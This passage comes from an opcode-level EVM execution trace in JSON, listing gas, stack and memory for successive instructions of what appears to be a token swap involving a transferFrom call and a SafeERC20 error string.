1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13702,"op":"SHL","gas":95948,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13703,"op":"SUB","gas":95945,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13704,"op":"AND","gas":95942,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13705,"op":"DUP6","gas":95939,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13706,"op":"DUP8","gas":95936,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13707,"op":"PUSH1","gas":95933,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13709,"op":"MLOAD","gas":95930,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x220","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13710,"op":"PUSH2","gas":95927,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x220","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13713,"op":"SWAP2","gas":95924,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x220","0x2e4","0x3597"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13714,"op":"SWAP1","gas":95921,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x2e4","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13715,"op":"PUSH2","gas":95918,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13718,"op":"JUMP","gas":95915,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x3c8a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15498,"op":"JUMPDEST","gas":95907,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4